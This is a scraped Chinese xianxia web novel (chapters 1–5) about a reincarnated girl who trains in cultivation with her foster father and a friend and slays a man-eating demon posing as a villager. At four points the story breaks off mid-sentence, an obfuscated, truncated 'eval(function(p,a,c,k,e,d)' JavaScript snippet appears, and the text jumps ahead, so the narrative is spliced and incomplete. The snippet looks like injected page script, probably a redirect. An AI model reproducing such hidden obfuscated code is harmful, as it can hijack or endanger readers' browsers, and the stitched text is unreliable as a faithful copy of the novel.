《为了拯救世界我决定攻略神君》 1. 第 1 章 碧空如洗,冬日的阳光晒得人浑身暖洋洋。 姜慕星忍不住打了个哈欠,引得阳夫子敲了一下她的头。她连忙吐一下舌头,拿起腿上的书摇头晃脑的继续念了起来。 旁边的贺豆豆见她被敲头,便捂着嘴嘻嘻的笑,结果也不轻不重的挨了一下。 这个时节已过了秋收,农活并不繁忙,阳夫子得空在自家院子里拿着书本给家里的这两个孩子继续上课。但阳夫子他要教的并非儒家经典,而是行气导引、吐息打纳的口诀心法。 “一炁既散,天地人存,五行四极,水木之论……”① 背着书的姜慕星穿越到这个世界,满打满算已经快十三年了。穿越前的她从小就没有吃过什么苦,一直都是蜜罐子里养大的乐天派。五讲四美三热爱暂且不说,平时热心助人,闲来无事还喜欢捐个公益基金。 ——人送外号姜大善人。 按理说她这么一个喜欢敲电子木鱼拜赛博观音、功德+1+1不乱讲地狱笑话的小年轻,长命百岁应该是标配,平安顺遂是人生常理。但很不凑巧,天有不测风云,姜慕星遭遇车祸喜提异世界转生大礼包。 然后她刚一睁眼就发现自己被裹在一袭染血的襁褓里,躺在支离破碎的马车残骸上,周遭弥漫着一股血腥味伴马匹临死前的痛苦嘶鸣。 转生后光速喜提「孤儿」称号的姜慕星,在被冻死或饿死前,终于是被外出采药的阳夫子给捡了回去。 阳夫子不知道她这生身父母是何许人也,只在襁褓中找到一块刻着名字的玉佩。 他就用玉佩正面镂空的“姜”和背后纂刻的“翘思慕远人,愿欲托遗音”,给她起名叫姜慕星,乳名叫小小。② 在养父阳夫子的精心照顾下,姜慕星茁壮成长。她不但适应了双柳河村较为落后的生活环境,还充分发挥儿童体质特有的使不完的一身牛劲儿,整日在村子里疯跑玩闹,体质康健不说还把他教授的家传剑法给学了个有模有样。 于是在姜慕星五岁生日那天,阳夫子捋着胡须说:“乖女,明日早起和我一同念经两个时辰。别噘嘴,念完才能去找你豆豆哥一起玩。” “诶……不要嘛。”姜慕星熟练地扒拉着他的胳膊撒娇,反正阳夫子一直溺爱她。“我已经答应豆豆哥明天要去摘果子,他说后山那边有好大好好吃的果子,我去摘回来给夫子做蘸酱吃~” 阳夫子刚笑了一下,连忙咳嗽一声回归正题:“学好本事什么时候玩都行,你可知道夫子我除了识文断字和那技不如人的剑法之外还会什么?你就不好奇一下?” “您那剑术精妙绝伦,轻功更是蹬萍渡水踏雪无痕,怎么就技不如人才大志疏?”姜慕星瞪大眼睛,“夫子别卖关子,我现在可好奇了。” 阳夫子轻声说:“我教你长生之道,从此免于世间蹉跎之苦,可好?” 姜慕星当然知道自己这昂贵养父本事很大,平时不显山露水但绝对是个厉害角色。她一开始学习剑法时,以为自己所在的这个世界观或许是武侠小说。 结果自己运气着实不错,竟然还蹭上穿越热点,穿进可以修仙的世界里。 分得清孰轻孰重的姜慕星当天就鸽了贺豆豆的邀约,在家里捧着诘屈聱牙的经书读的头昏脑涨。 好在她义薄云天,没忘记贺豆豆这个唯一的玩伴。反正教一个是教,两个也是教,阳夫子的修炼小学堂就这么一路从姜慕星五岁的惊蛰开到她十三岁的立冬。 双柳河村地处江南,气候温润,冬日里只落了薄薄的雪。这天早上阳夫子要去赶集买些东西,于是趁他不在,姜慕星与贺豆豆两人便嬉闹着去后山摘野菜采野果,决定晌午之后再回家。 两个皮猴比起回家在阳夫子的监督下念经书,还是更喜欢在山里一边玩一边互相练习剑法。 姜慕星深吸一口气脚下发力上了一颗粗壮的树上,伸手就摘了一颗果子随便擦擦就咔嚓啃一口:“果然是霜打了的更脆甜,豆豆哥你也吃。” 贺豆豆接住姜慕星丢下来的果子咬了一口:“我什么时候骗过你,多摘点儿,给夫子也点一点儿回去好做酱。” “好嘞。” 姜慕星一边咀嚼嘴里的果子,一边看向爬上树的贺豆豆。 贺豆豆的身世也不好,听阳夫子说他的父母早逝,留下刚两岁的贺豆豆无人照看,在他的代管下吃百家饭长到现在。他的父母也没来得及给他起个像样的名字,只一个小名“豆豆”一直叫到现在。 “你说夫子教我们的那个什么长生术,真的管用吗?”贺豆豆爬上来坐在姜慕星对面的树枝上,“我怎么感觉那个不顶用啊,还没剑术好使呢。” 姜慕星笑了起来:“怎么可能没用啊,夫子不是说了嘛,只要学得好不光能长命百岁,还能御剑飞天呢!多帅气啊!” “但我觉得那个真没什么用,学剑术好歹能打猎吃肉。”贺豆豆打小就不爱看书,要不是阳夫子严厉教导,他可能还是个小文盲。“长生就能吃饱饭吗,自从开始那个什么引气,我饿的都比平时快多了。” 咻——地一声,贺豆豆眼疾手快一把抓住对面丢过来的果子。 “你没引气的时候好像吃的也不少吧!”姜慕星从树枝上爬起来叉腰站好,嘻嘻一笑。“今天继续比试吧,今天要再输给我,可就没脸见人啦。” 贺豆豆揉揉鼻子也站起来:“这次我肯定不会输给你了,哪有人一天到晚输给自己师妹的呀。” “胡说,我是你师姐。”姜慕星一边嚷嚷一边折下一段枝条当长剑,“你这小师弟就老老实实当手下败将吧!” 虽然她手里拿着的是柔嫩枝条,但刺出的剑招可一点儿不带含糊。贺豆豆抿嘴一笑,手里的枝条也动起来见招拆招。两人如同山里灵活的猴子般,捏着小树枝辗转腾挪在林间你追我赶。 日常的剑术练习他们都是这么度过的,阳夫子在教授的时候也没想到小家伙们对剑术和轻功的热情与天赋如此之高。 等两人终于不分胜负的打闹结束,已经过了正午。姜慕星就着脆爽的果子和干粮饼子吃了中午饭,和贺豆豆一人背一个装满果子的竹筐下山回家。姜慕星忍不住哼起穿越前的某电视剧主题曲,贺豆豆虽然不懂她在哼什么,但…… “小小唱的比之前来村子里唱歌舞戏的还好听。”贺豆豆真心实意的说,“要是以后我们闯荡江湖没钱了,你还可以唱大戏,我给你敲鼓伴奏也能赚钱。” 姜慕星十分得意:“那当然,我学东西可快了。什么都手到擒来,简直是易如反掌啊易如反掌~” 贺豆豆看着姜慕星把手掌反过来翻过去,乐的牙龈都笑出来了。就这么一路嬉闹着进了村子,刚一进村子姜慕星就发现村口的大人们有些奇怪,他们都围在村口的告示牌前盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“距离咱们这里三十里外旺远村有一户人家发生了命案。”阳夫子也不觉得说出来会吓到孩子,“那家人收留了一个无家可归的女人,然后当天夜里这家人的儿子就被吃掉了。” “等发现的时候床铺上只剩下了头骨和头发,被害者家里人只看到一个蓝皮突眼的东西从窗户里窜了出去。” 贺豆豆瞪大眼睛,筷子上夹的肉都掉在桌子上没发现。姜慕星趁机夹走那块肉塞进自己嘴巴里嚼嚼嚼,等咽下去才开口。 “所以其实吃人的是妖怪不是逃犯?”姜慕星一点也不害怕,反而兴致勃勃,“斩妖除魔,这么刺激的事我一定要报名参加!” “小小,你就不害怕吗?”贺豆豆一脸难以置信,他既胆大又胆小,“那是妖怪,会,会吃人的!当心妖怪抓住你把你呲溜一口吃掉,连,连骨头都不吐!” 说的他自己脸色都发白,牙齿都在咯咯打架。 “妖怪吃人有什么好怕的,又不是人吃人。”阳夫子捋着胡须说,“小小说得对,你们俩学习法诀快一年了,对付个把妖怪还是没问题的。这样吧,过几日你们去把那妖怪给降服了。” “事成之后,我给你俩额外做一套新衣怎么样?” 贺豆豆刚夹起来的羊肉又掉在桌子上,他一脸苦相;姜慕星又一脸喜色的感谢大自然的馈赠:“好呀,夫子可要说话算话。” “那是自然。” 2. 第 2 章 阳夫子的行动速度一向很快,当他在饭桌上说起吃人妖怪的时候,就是已经做好除妖准备了。 果然三日后的早上,阳夫子就让姜慕星与贺豆豆换上了粉男绿女的道童衣服,用红头绳挽起丱发,眉心用朱砂点了红痣。阳夫子也收拾起平时那副书生打扮,换上了青色得罗脚踩十方鞋,头发也仔细的束在莲冠之中。 玉雪可爱的两位小道童拱手行礼:“师父好。” “乖徒,出门去也。”阳夫子拂尘搭在臂弯,抬脚从屋子里走出去。等两个小家伙也出来了,便摸出铜锁将门锁好。 “阳先生,今儿是要出门哇。”院子里已经来了人,是隔壁家的花大娘。她个头不高,圆墩敦身材圆墩敦的脸,看起来格外和蔼可亲。姜慕星还不会做饭的时候,只要阳夫子不在家,她与贺豆豆都是在花大娘家吃的饭。 阳夫子虽然满腹经纶神通广大,这也会那也会,还做的一手好菜,但他唯独不会亲自种地喂牲畜。所以家里的几亩地和养的鸡鸭羊,都是外包给村子里其他人帮忙照看,他只需每季度给村人一些酬金就行。 姜慕星觉得他这种做法也没什么问题,毕竟双柳河村这地方向来风调雨顺,从没出现过灾年。她长到这么大,还没因为阳夫子不种地而饿肚子。 花大娘端着一个簸箕,里面放了一些新鲜剁好的鸡食:“放心吧,保证把家里看顾的好好的。”说着她还从围裙的褡裢里摸出几个板栗塞给姜慕星他俩,热腾腾的一看就是早上刚烤好的。 “谢谢花阿婆。”姜慕星甜甜的道谢,花大娘一个没忍住还是伸手捏了捏她有些婴儿肥的小脸蛋。 “小小真乖,豆豆出门在外要多照顾妹妹知道不?”花大娘又给了几个板栗,转头对阳夫子说,“说来也怪,去年冬日里老鼠还不算特别多,今年早早的就有老鼠进家。夫子家里布了粘鼠板没有,要是没有现在可得布置上。” 阳夫子点点头:“房内已布置下了,上次打扫卫生的时候把该填补的坑洞一并夯实,想必今年不会再钻进房里。若是老鼠再多一些,就组织大伙一起灭鼠。” “那感情好。”花大娘看着看吃板栗的姜慕星他俩,“上次还是这俩皮猴去掏老鼠洞,翻出来一簸箕东西呢。” 一切交代妥当后,阳夫子就带着他们往三十里外的村子走。按照他们的脚程,大约正午前就能抵达,事情顺利的话晚上还能回来吃晚饭。 “夫子,那妖怪会是什么样的妖怪啊?”姜慕星迈着小腿一边走一边问,“之前听你说过很多吃人的妖怪,这还是第一次听说有蓝皮的。” 阳夫子回答:“这不奇怪,妖怪这种东西什么皮肤的都有。不过不管是什么妖怪,只要吃人就要除掉。小小,豆豆你们记好,无论以后遇到什么妖物,要记得它们始终与我等不同,非我族类其心必异,开了灵智的妖物也是如此看待我等。” “务必记牢我的话。” 姜慕星哦了一声,又不死心的问阳夫子:“夫子夫子,你有没有见过动物化形的妖怪呀?比如说兔子狐狸之类的?” 作为前世饱读《聊斋志异》《子不语》等志怪小说的人,姜慕星对那些没个人样的吃人妖怪着实没兴趣。但谁不想真的见识一下狐妖兔妖什么的,她可不是福瑞控,绝对不是……嘿嘿。 看她那一脸期待的样子,阳夫子觉得有些好笑:“应当是有的,但我没见过就没办法告诉小小啦。不过小小既然想见见这类妖怪,就要好好修炼,知道吗?” “知道啦!”姜慕星回答的格外干脆。 贺豆豆一脸郁闷:“怎么提起这么可怕的话题,小小你就这么感兴趣啊。不觉得这些东西很恐怖吗,一想到要面对吃人怪,我都睡不着。” 说着他还哆嗦了一下,一副不愿回想的样子。 但姜慕星最喜欢做的就是戳穿别人了:“你骗人,你哪有睡不着。你昨天下午躺在摇椅上睡得可香了,还蹬了被子。” 贺豆豆大惊失色而后心虚:“怎么可能……话说起来你怎么知道啊,我睡的时候可没盖被子。” “哼哼。”姜慕星凑过去用手指去戳贺豆豆的胳肢窝,“当然是我怕你着凉给你盖了啊,你还说了梦话。我想想你说了什么来着……哦,你说你想当大侠,当了大侠要顿顿吃荷包饭配羊糜饼呢。” “别,别戳……哈,哈哈哈哈……”贺豆豆十分怕痒,被戳中之后连躲带闪的都快左脚踩右脚。“我,我就是嘴馋了点嘛,不许笑我。” 阳夫子看他们俩嬉笑打闹,也笑着问道:“豆豆想当大侠,能告诉夫子为什么吗?之前不是还想去参军,说想看看什么叫大漠孤烟直,长河落日圆来着?” 贺豆豆咳嗽两声努力正经点:“之前是之前啦,我现在想通了,就要当大侠。参军的话不是会被管束嘛……我从小都是野孩子,除了夫子之外我才不服管呢。所以当大侠可以行走千里无拘无束,还能行侠仗义。再说当大侠也能去边塞,不妨事。” 姜慕星惊讶道:“你是假的豆豆哥吧,居然能说出这么有道理的话来。难道是昨晚我敲了你的头,把你给开窍啦?……诶呀哎呀不准挠我,夫子你快管管豆豆哥呀!” 贺豆豆可没放过她,两个人打闹之间还过了两招,你来我往的十分娴熟,看来平时也没少这么折腾。阳夫子满意的点点头,武之一道看来是完全不用他盯着了。 “那小小呢?”阳夫子又问姜慕星,“小小长大了想做什么,也想当女侠吗?昔年有公孙大娘聂隐娘,小小想不想成为她们一样的人物?” 姜慕星双手叉腰,洋洋得意:“我才不要呢,夫子你怎么忘了,我可是要修长生道免蹉跎苦。以后啊,我是要当神仙的!” 她蹦上路边的一块大石头,掐了个有模有样的法诀。然后口中默念咒语,然后并指一挥“嘿——”,瞬间一股小旋风便凭空出现,险些刮了阳夫子贺豆豆一脸灰。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……可怜子申哥家的大郎。”王智勇一边煮汤一边唏嘘,“才刚十六,就被那天杀的妖怪吃了。子申哥就一个孩儿,一时善念竟招致此等惨事。嫂子也一病不起,再捉不住那妖怪,恐怕也要随大郎去了。” 贺豆豆努力表现出不害怕的样子,而姜慕星则观察着四周。她觉得这个王智勇家里好像有些不太对劲,至于哪里不对劲她也说不上来。就在她苦思冥想的时候,她脚背上嗖地一下窜出去一只灰毛耗子。 王智勇也看到了耗子,骂了两句准备拿笤帚去打死它。就在他刚拿起笤帚的时候,灰毛耗子被不知道哪里窜出来的狸花猫给一口咬住。 那狸花猫膘肥体壮,个头虽不大但一副虎相。它一口咬中灰毛耗子的脖颈,一扭一甩将耗子立毙当场。随后它对着王智勇连连哈气,叼起死耗子越墙跑了。 王智勇拎着扫帚背对屋内,片刻后才满脸堆笑招呼他们喝羊汤。姜慕星歪歪脑袋,看看屋外又看看屋内,最后把视线定格在和阳夫子絮絮叨叨说话的王智勇身上。 3. 第 3 章 “师妹,该吃饭了。” 贺豆豆的声音从屋内传来,姜慕星这才回过神来发现自己走到了院子里。不过刚才的那一幕确实令她有些在意,她将思绪收回来,迈步进入屋内坐在桌子旁。 等坐好之后姜慕星与贺豆豆面面相觑,虽然本来就不期待别人家的饭能有多好吃,但这王智勇的厨艺也太令人汗流浃背了点。桌上摆着一只缺了耳朵的双耳陶盆,里面满满当当装着一盆羊杂汤。 虽然俗话说的好,纯则粹羊杂汤,多放葱姜味道更香。但这羊杂汤一股浓烈的膻味儿不说,汤面上还漂浮着一层灰色的血沫子。汤的颜色十分浑浊,隐约可见一些碎渣骨头在汤面上漂浮。大朵油花堆积在盆沿,还印着几个手指印儿。 “多谢王善信。”羊杂汤端上来之后,唯一表情还算正常的就是阳夫子。他不但先用木勺给王智勇盛了一碗,还给他自己也舀了一些。 阳夫子面不改色称赞:“王善信的厨艺十分高超,令人佩服。这羊杂汤味道香浓,汤色玉白,可见厨艺精湛,贫道有口福了。” “是吗!”这么明显的客套话,王智勇却当真了。他脸色激动,大有高山流水觅知音的喜悦,“平日里他们都说我做饭做的差,可我觉得做的还不错啊。哎呀不愧是阳道长,就是和那些人不一样,快别客气了,多喝点!” “不够了锅里还有!” 贺豆豆又是一脸菜色,他看着眼前阳夫子盛出来的羊杂汤,眼神里充满了绝望和一些隐约的愤慨。他最喜欢吃的就是羊肉,也因为最喜欢吃,所以对羊肉的烹饪技法有相当精妙的见解。看到这一盆被糟蹋了的羊肉,贺豆豆是一口也喝不下去。 但不喝不行,不喝就是不给主家面子,这是相当失礼的事情。于是妙语频出的阳夫子一边和王智勇聊天,一边喝下了羊杂汤。贺豆豆饿的快,在肚子咕噜直叫的情况下,也不得已硬着头皮喝了羊杂汤。 喝完后他立刻用手捂住嘴,胸膛一起一伏,眼泪都被顶出来了。 只有姜慕星没有喝,她用筷子把碗里的羊杂捞着吃了,汤是一口没碰。就算是这样,她也吃的十分艰难,恨不得自己当场味觉失灵。 好不容易吃完了这顿一言难尽的午饭,被夸奖到面色红润的王智勇就带着阳夫子他们去出事的王子申家看看。 跟在阳夫子身后的姜慕星看到,自己这昂贵养父打了好几个饱嗝,每个饱嗝打出来他面色都要扭曲一下,仿佛用了全身力气去压制某些东西不要向上翻涌。 ——怪不得夫子能文能武能修炼,有这敬业精神他做什么都会成功的。嗯,当然自己和豆豆哥也不差。 王子申家在村尾附近,从村口过来也要走两里路。 走了一盏茶的时间,王智勇停在一户挂着白灯笼缠着白布的人家门口,趁着他敲门的功夫,阳夫子背在身后的手比了个手势,姜慕星心领神会地转身返回村头。 从她五岁那年开始,阳夫子每次出门给人家做法事都会带上他们俩。 贺豆豆怕鬼但手脚利索,一般留在他身边随机应变;姜慕星胆大心细观察力极好,所以探查线索的活计就让她去。 虽然感觉还是有些朦胧,但姜慕星已经有了大致的规划,她返回的地方正是王智勇的家。 姜慕星没走正门,绕到了房子的后面从那边的矮墙翻了进去。刚翻进去她就感觉后院不是很对劲,有种怪怪的味道。 就算是在屋后宰了羊也不至于这么大的味道…… 姜慕星并指如剑,口中默念法诀,伸手在鼻尖前用力一划,逸散在空气中会被忽略的味道此刻纷纷涌入她的鼻腔。 “哕……好重的血腥味,到底在这里干什么了?” 她顿下来伸手捻起地上的散落的泥土用手搓了搓,最近一周都没有下过雨,但是这些泥土却意外的潮湿,还带着点儿黏腻感。就好像什么黏稠的液体大量泼洒在地面上一样。 姜慕星小心地走过去打开厨房后门,刚才做饭的时候他们谁都没有进来搭一把手,因此这里的情况也是现在才彻底看清楚。 这间不大的厨房里同样弥漫着血腥味,越靠近灶膛越是浓重。姜慕星突然顿了一下,像是想起什么立刻转身去看装肉的大盆和竹背篓。 “呼……还好还好。”看着从竹背篓里翻出来的带毛羊皮和羊蹄子,姜慕星这才松了口气。 她刚才还在担心,要是那锅羊杂汤煮的不是羊肉而是……的话,她可能这辈子都再也吃不下去肉了。 “不过夫子肯定是知道没问题才会吃。”姜慕星又看向炉膛,此刻炉膛内的火已经熄灭,灶台的锅中也没有汤汁。她从柴火堆中捡起一根结实笔直的柴棒,小心地伸进灶膛里翻动。 一下,两下,三下……直到她手快酸困时,终于触碰到了手感不同的东西。姜慕星心中一喜,使了点儿巧劲总算把那东西从炉膛里给弄出来了。 ——一颗热腾腾还有些微微冒烟,但已经被烧焦不成样子的人头。 姜慕星捂住嘴背过身去深呼吸几下,但还是没忍住“哕”的一口将胃里所有东西都吐了个一干二净。她被自己翻涌的胃液呛得眼泪汪汪,好不容易才扶着门框站稳重新转过来。 “为什么这里……这里会有这个东西?”她一边努力平复自己的情绪,一边努力克制视线不继续盯着那个人头看。“这个大小看起来不像是女性或者少年,该不会那个吃人妖怪又吃了人吧?” 尽管姜慕星并不擅长推理,但综合一下所见所闻完全能够猜到这人头的主人应该就是原本的王智勇,现在的“王智勇”是妖怪吃了人后假扮的。 “所以这算什么,画皮的亚种吗?”姜慕星强压住难受继续查看厨房,“感觉这里是第一案发现场了,头在这里……其他骨头呢,该不会被吃了吧?” 就在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这个时代也会有僵尸吗,可夫子从来没有提过这种东西。”姜慕星眯起眼睛仔细打量这里,“不过不管是什么种类的妖怪,看来都是从这个地方爬出来的。这里距离村子很近,如果今天不干掉它,还会不断有受害者出现的!” 狸花猫看向姜慕星,一双黄澄澄的圆眼睛紧盯着她不放。姜慕星拿着桃木剑潇洒的挽了个剑花,对狸花猫说:“走吧,我们这就去王子申家,今日定要那妖孽血债血偿!” 多亏了狸花猫在前面带路,一人一猫紧赶慢赶,以最快速度从荒地跑到了王子申家。还没踏入王子申家门槛,姜慕星就听到里面“咚——”的一声响,像是什么东西重重地砸在了地上。 贺豆豆带着惊恐和怒意的声音也在院墙那边随之响起:“啊啊啊你这死妖怪我和你拼了!羊杂汤做的那么难吃你真该死啊——!” 4. 第 4 章 一听这声音就知道里面已经开始全武行了,姜慕星也没闲着立刻推门而入。 院内贺豆豆此刻正与假“王智勇”缠斗,还没等姜慕星往里冲,跟着一起来的狸花猫已经旋风般加入战场。 它仗着身体灵活,从地面上一跃而起狠狠一爪子挠在了“王智勇”的脸上。尖锐的猫爪甚至撕开了皮肉,随后拧身一蹬腿立刻撤离到三步开外,而后不断伺机而动配合贺豆豆牵制吃人妖。 趁那边还在正面牵制“王智勇”,姜慕星手持桃木剑绕到了妖物的背后。 她左手并剑指,用力在桃木剑上划了一下,瞬间色泽细腻的桃木剑上就泛起冷锐的光泽,如同一柄寒光闪闪的铁剑。她对准“王智勇”的后脑抬手便刺,定要一剑戳穿它的脑袋。 但这妖物就好像修出了天目,竟然在剑尖刺中后脑前闪身躲避。姜慕星来不及变招,一道带着罡风的尖锐利爪便迎面抓来! “当——”地一声脆响,姜慕星用剑架住了吃人妖的爪击。它那张被狸花猫抓得稀烂的脸上泛起恶心又扭曲的笑,被撕开的皮肉翻卷却不见一滴血。 见自己的爪击被阻挠,吃人妖张大嘴巴一条细长尖锐的舌头激射而出直冲她眉心。 姜慕星丝毫不惧,硬生生在僵持中大力扭转手腕,桃木剑再度格挡住吃人妖的攻击。 她手动腿也动,在格挡后向身侧卸力的同时,一个鞭腿结结实实击中吃人妖没有筋骨保护的侧腹。 ——无论是怎样的妖邪,只要没有硬皮和骨骼保护,腹部、下半身和脑袋永远都是它们的要害所在。 姜慕星这一记鞭腿将吃人妖的侧腹直接踹凹了一块,刚才还来势汹汹的吃人妖立刻蜷缩了一下。 就这一秒不到的破绽被贺豆豆捕捉到,他的攻击重重落下。手中桃木剑带着呼啸的风声即刻斩落吃人妖的一条手臂。 贺豆豆斩落一臂后立刻变招,桃木剑横劈向姜慕星踢凹的位置。血光迸溅间,吃人妖再度被重创,发出凄厉的嚎叫。 狸花猫趁此机会一跃到它肩头,爪子硬生生把吃人妖的耳朵撕扯了下来,利爪拍打抓挠又抠住了吃人妖的双目。 姜慕星咬紧牙关抬手催动桃木剑:“斩邪祟——去!” 那木剑自她手中如离弦之箭疾驰而去,在空中划出残影直取吃人妖首级。一道冷厉的剑光划过,吃人妖的脑袋冲天而起!贺豆豆眼神一凛,手起剑落如庖丁解牛般斩掉吃人妖的另外三肢。 只消片刻,吃人妖的四肢头颅便在王子申家的院落中散落一地。 姜慕星来不及擦拭额头上冒出的大颗汗珠,咬牙忍住翻涌的血气再度催动法诀,一股比来时玩笑间更强的旋风精准裹挟着吃人妖的零落的肢体,将还想拼凑起来逃逸的吃人妖牢牢困在地上。 那招飞剑诀姜慕星还没完全融会贯通,强行使用还是有些过于吃力。但她此刻不敢大意,舌抵上颚维持风诀牢笼不给吃人妖半点机会。 “辛苦徒儿们了。” 阳夫子的声音伴随着一道黄色符箓轻轻穿过旋风,如同一枚春日花瓣落在了吃人妖的额头。被符箓贴住的吃人妖嚎叫着冒出阵阵恶臭黑烟,滋滋作响了一会儿才被无形烈焰吞噬殆尽。 地上残留一具体型不大的焦黑骨架,却没有对应的颅骨。 姜慕星酸痛不已的双臂总算能放松下来,她立刻坐在地上喘着粗气。额头的汗水已经彻底打湿额发,还有一些顺着脸颊往下滴落,在地面上打出一个个湿漉漉的小圆点。 “……你还好吧?”贺豆豆脚步沉重的走过来,他刚才也拼出全力配合姜慕星,原本红扑扑的小脸此刻也有些青白。“要不要喝点水?” 姜慕星发出拒绝的声音,她现在脑袋很晕不敢摇头,有些用力过猛的缺氧。贺豆豆也一屁股坐下来休息,吃人妖已除,后面收尾的工作就不归他们管了。 “仙,仙长……”屋中此刻才传来小心翼翼的声音,一个中年男人探出头来浑身都在发抖。“那,那妖怪……” “吾徒已将那妖邪斩杀,王善信还请放心。”阳夫子拿了一些黄纸将那具烧焦的人骨小心收拢,对着王子申招了招手,“此乃令郎遗骨,还请与头颅一同下葬以慰令郎在天之灵,如此方可早日重入轮回。” 王子申跌跌撞撞跑过来扑在地上嚎啕大哭,手指颤抖着放在黄纸上半天不敢动作。阳夫子也没多说什么,只是拍了拍他的肩膀。 姜慕星与贺豆豆坐在地上并肩看着,姜慕星一边揉胳膊一边觉得鼻子有些酸酸的,她努力不让自己去想穿越前的家人看到车祸现场会怎么样,但听到白发人送黑发人的恸哭还是忍不住红了眼眶。 贺豆豆也不太舒服,他揉了揉胃小声嘀咕:“我应该多砍几剑,那羊杂汤弄得我胃好痛。” 等阳夫子帮着王子申夫妻收拾好遗骨后,天都快黑了。姜慕星的头枕在贺豆豆肩膀上,两个小家伙体力不支已经开始打起盹来。 阳夫子见状也没惊动他们俩,小心地将他们抱起来朝着王智勇家走去。 他不高不壮的一个人,抱着俩睡着的孩子竟毫不费力。王子申夫妇再三拜谢,将谢金用红布包了放在阳夫子的背篓里目送他离去。吃人妖已除大仇得报,日子还得过下去。 …… “夫子?”姜慕星睡得迷迷瞪瞪,她揉揉眼睛四处看。“咦,我们这是在哪?” 她与贺豆豆在一个躺椅上,他盖着夹袄睡得人事不知,嘴巴微微张开还有点小打呼。阳夫子见她醒了,用下巴努了努:“在王善信家里,事还没办完呢。” “啊,是王智勇家。”姜慕星彻底清醒了,她急忙说,“夫子,那个王智勇……” “嗯,我已知晓了。”阳夫子摸摸她的头顶,“今天你和豆豆配合默契,飞剑诀使的也很好,年少有为可成大器。” 被阳夫子这么一夸奖,姜慕星有些得意又有点不好意思的笑了。她挠挠脸颊问:“夫子,你之前在集市上碰到的王智勇是真的还是假的啊?” “真的假的……有这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……这个季节,怎会地龙翻身?”阳夫子皱起眉头抬头看天,“怪事。” “不会很严重吧?”贺豆豆问道,“这不会影响我和小小去城里过年吧?” “嗯?不会不会。”阳夫子掐算半天,也没理出个头绪,可能只是山中何处滑坡才导致些微地动,想来应该没什么大不了。“说好了今年去城里过年,就绝对不会食言。” 姜慕星欢呼雀跃,虽然在村里过年也很好,但谁不想去城里啊!这次她要新衣服新鞋子,还要去猜灯谜看花灯,还要吃很多很多只有过年才会售卖的小点心。 她来到这个世界之后,最喜欢的就是过各种节日,这可是穿越前完全感受不到的绝妙氛围。 就在她美滋滋畅想过年的时候,又一只肥大的灰毛耗子从她脚边窜了出去。当她去看时,那只灰毛耗子半蹲在地上直起身体,那张鼠面似乎在……冲着她笑? 但姜慕星再去看时,周围却并无半点老鼠痕迹。 5. 第 5 章 “小小,怎么了?”贺豆豆看姜慕星呆愣愣的站着还没走,便唤了她一声。 姜慕星这才回过神来,那老鼠应该也没什么稀奇,多半是阳夫子挖墓坑把老鼠惊动了,或者只是单纯出来觅食。 她三步并作两步,快速跟上阳夫子他们,往回家的方向走去。 他们这一趟出门,除开吃的那点儿不怎么样的饭食,总归还是赚了点小钱。听阳夫子说,王子申家给了一百五十文的酬劳,出手相当阔绰;而被害的王智勇之前也付了阳夫子五十钱的谢金。 “哇,这一趟可真值钱。”姜慕星有些咋舌,“两边加起来都可以买一疋(pi)绢了,怪不得夫子说过年买新衣呢。”① 阳夫子说:“对咯,你俩也长高了,是该裁新衣换着穿。咱们是经常要出门赚钱的,可不能捉襟见肘贻笑大方啊。” “人靠衣裳马靠鞍,出门在外穿着可是第二张门面呢。”姜慕星小小一张脸上故意摆出深沉的表情,逗得阳夫子含笑看她。“我们不以貌取人,可别人会以貌取我呀。” “是极,是极。咱们小小说的太对了!哈哈。” 贺豆豆对衣服没什么执着,在姜慕星叽叽喳喳的时候,他只是一边听一边笑。三个人就这么一路说说笑笑,步履轻盈地返回双柳河村去。 回村之后花大娘已经把家里收拾妥当,连水缸里都装满了干冽的井水。阳夫子付给花大娘酬劳后,才去洗手进屋吃饭。 厨房里已经做好了一锅黍米粥,一大碟腌菜丝和几个胡麻饼。 他进来的时候两个小家伙已经捧着碗吃上了,阳夫子一向随性而动,他们正是长身体的时候,饿了就要快点吃,不必非得等到人齐了再开动。 不过得益于姜慕星与贺豆豆一贯的聪明伶俐,他们只有在家里才会如此肆意,出门在外根本不需要他操心。 “夫子快吃。”姜慕星拿起空碗给阳夫子盛粥,“花大娘这个粥熬得真好,这才是回家的滋味呢。” “好喝。”阳夫子很给面子的喝了一大口,脸色也舒缓了不少。“吃完饭之后记得做功课,习武和修炼都不可荒废。” “是。”“晓得啦。” 这之后的几天越发冷了,外面逐渐开始下起濛濛细雨,姜慕星也懒得出门去练剑,只窝在房子里昏头涨脑的背诵经书。 不知道是不是太期待过年,她总是有些静不下心来背书,平时两三日就能背完的东西,硬是磨蹭了整整一周。 贺豆豆这次反而快过她,只花费了一日就背完了。他难得有机会能在读书方面超过姜慕星,自然是洋洋得意了好几天。 等腊月二十八那天,阳夫子借了村中的驴车收拾好东西便招呼两个小家伙出门去。他们要去的不是之前去过的县城,而是此地的首府永泉府。 阳夫子之前给姜慕星讲课的时候说起过,他们所在的地方是九州之一的阳州,地处正东毗邻少海。 